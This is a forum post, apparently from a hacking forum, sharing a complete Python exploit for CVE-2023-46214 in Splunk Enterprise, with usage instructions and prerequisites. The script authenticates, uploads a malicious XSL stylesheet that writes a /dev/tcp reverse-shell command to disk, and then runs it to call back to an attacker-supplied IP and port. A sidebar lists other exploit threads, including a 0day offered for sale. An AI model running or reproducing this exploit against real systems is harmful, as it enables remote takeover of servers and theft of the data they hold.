CVE-2023-46214 - Splunk Enterprise RCE
by Farfallaiero - Friday December 1, 2023 at 08:28 PM
#1
#!/usr/bin/env python3 import argparse import requests import json # proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} proxies = {} def generate_malicious_xsl(ip, port):     return f"""<?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">   <xsl:template match="/">     <exsl:document href="/opt/splunk/bin/scripts/shell.sh" method="text">         <xsl:text>sh -i &gt;&amp; /dev/tcp/{ip}/{port} 0&gt;&amp;1</xsl:text>     </exsl:document>   </xsl:template> </xsl:stylesheet> """ def login(session, url, username, password):     login_url = f"{url}/en-US/account/login?return_to=%2Fen-US%2Faccount%2F"     response = session.get(login_url, proxies=proxies)     cval_value = session.cookies.get("cval", None)     if not cval_value:         return False     auth_payload = {         "cval": cval_value,         "username": username,         "password": password,         "set_has_logged_in": "false",     }     auth_url = f"{url}/en-US/account/login"     response = session.post(auth_url, data=auth_payload, proxies=proxies)     return response.status_code == 200 def get_cookie(session, url):     response = session.get(url, proxies=proxies)     return response.status_code == 200 def upload_file(session, url, file_content, csrf_token):     files = {'spl-file': ('shell.xsl', file_content, 'application/xslt+xml')}     upload_headers = {         "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",         "Accept": "text/javascript, text/html, application/xml, text/xml, */*",         "X-Requested-With": "XMLHttpRequest",         "X-Splunk-Form-Key": csrf_token,     }     upload_url = f"{url}/en-US/splunkd/__upload/indexing/preview?output_mode=json&props.NO_BINARY_CHECK=1&input.path=shell.xsl"     response = session.post(upload_url, files=files, headers=upload_headers, verify=False, proxies=proxies)     try:         text_value = json.loads(response.text)['messages'][0]['text']         if "concatenate" in text_value:             return False, None         return True, text_value     except (json.JSONDecodeError, KeyError, IndexError):         return False, None def get_job_search_id(session, url, username, csrf_token):     jsid_data = {'search': f'|search test|head 1'}     jsid_url = f"{url}/en-US/splunkd/__raw/servicesNS/{username}/search/search/jobs?output_mode=json"     upload_headers = {         "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",         "X-Requested-With": "XMLHttpRequest",         "X-Splunk-Form-Key": csrf_token,     }     response = session.post(jsid_url, data=jsid_data, headers=upload_headers, verify=False, proxies=proxies)     try:         jsid = json.loads(response.text)['sid']         return True, jsid     except (json.JSONDecodeError, KeyError, IndexError):         return False, None def trigger_xslt_transform(session, url, jsid, text_value):     xslt_headers = {         "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",         "X-Splunk-Module": "Splunk.Module.DispatchingModule",         "Connection": "close",         "Upgrade-Insecure-Requests": "1",         "Accept-Language": "en-US,en;q=0.5",         "Accept-Encoding": "gzip, deflate",         "X-Requested-With": "XMLHttpRequest",     }     exploit_endpoint = f"{url}/en-US/api/search/jobs/{jsid}/results?xsl=/opt/splunk/var/run/splunk/dispatch/{text_value}/shell.xsl"     response = session.get(exploit_endpoint, verify=False, proxies=proxies)     response = session.get(exploit_endpoint, verify=False, headers=xslt_headers, proxies=proxies)     return response.status_code == 200 def trigger_reverse_shell(session, url, username, jsid, csrf_token):     runshellscript_data = {'search': f'|runshellscript "shell.sh" "" "" "" "" "" "" "" "{jsid}"'}     runshellscript_url = f"{url}/en-US/splunkd/__raw/servicesNS/{username}/search/search/jobs"     upload_headers = {         "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",         "X-Requested-With": "XMLHttpRequest",         "X-Splunk-Form-Key": csrf_token,     }     response = session.post(runshellscript_url, data=runshellscript_data, headers=upload_headers, verify=False, proxies=proxies)     return response.status_code == 201 def main():     parser = argparse.ArgumentParser(description='Splunk CVE-2023-46214 RCE PoC')     parser.add_argument('--url', required=True, help='Splunk instance URL')     parser.add_argument('--username', required=True, help='Splunk username')     parser.add_argument('--password', required=True, help='Splunk password')     parser.add_argument('--ip', required=True, help='Reverse Shell IP')     parser.add_argument('--port', required=True, help='Reverse Shell Port')     args = parser.parse_args()     session = requests.Session()     print("[!] CVE: CVE-2023-46214")     print("[!] Github: https://github.com/nathan31337/Splunk-RCE-poc")     if not login(session, args.url, args.username, args.password):         print("[-] Authentication failed")         exit()     print("[+] Authentication successful")     print(" [*]Grabbing CSRF token", end="\r")     if not get_cookie(session, f"{args.url}/en-US"):         print("[-] Failed to obtain CSRF token")         exit()     print("[+] CSRF token obtained")     csrf_token = session.cookies.get("splunkweb_csrf_token_8000", None)     malicious_xsl = generate_malicious_xsl(args.ip, args.port)     uploaded, text_value = upload_file(session, args.url, malicious_xsl, csrf_token)     if not uploaded:         print("[-] File upload failed")         exit()     print("[+] Malicious XSL file uploaded successfully")     jsid_created, jsid = get_job_search_id(session, args.url, args.username, csrf_token)     if not jsid_created:         print("[-] Creating job failed")         exit()     print("[+] Job search ID obtained")     print(" [*]Grabbing new CSRF token", end="\r")     if not get_cookie(session, f"{args.url}/en-US"):         print("[-] Failed to obtain CSRF token")         exit()     print("[+] New CSRF token obtained")     if not trigger_xslt_transform(session, args.url, jsid, text_value):         print("[-] XSLT Transform failed")         exit()     print("[+] Successfully wrote reverse shell to disk")     if not trigger_reverse_shell(session, args.url, args.username, jsid, csrf_token):         print("[-] Failed to execute reverse shell")         exit()     print("[+] Reverse shell executed! Got shell?") if __name__ == "__main__":     main()


prereq:

Splunk creds with upload permissions to adddatamethods
Splunk not running in SHC mode

example: $ python3 CVE-2023-46214.py --url <Splunk_URL> --username <Username> --password <Password> --ip <Reverse_Shell_IP> --port <Reverse_Shell_Port>


here: https://blog.hrncirik.net/cve-2023-46214-analysis
0D|nS3c
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [Sell] Calix GPON - Preauth RCE 0day ericki 1 288 06-29-2026, 06:41 AM
Last Post: johnmalkovich1202
  CVE-2025-40554 - SolarWinds Web Help Desk Auth Bypass & RCE PoC miyako 3 78 02-07-2026, 03:32 PM
Last Post: cysc
  POC CVE-2025-24071 caca28sapo1 15 809 02-07-2026, 08:53 AM
Last Post: hacker0123
  HPE OneView RCE Exploit [CVE-2025-37164] Hawx01 8 265 02-06-2026, 07:08 PM
Last Post: hacker0123
  CitrixBleed / CVE-2023-4966 cccp 10 6,801 02-06-2026, 01:36 AM
Last Post: temptest



 Users browsing this thread: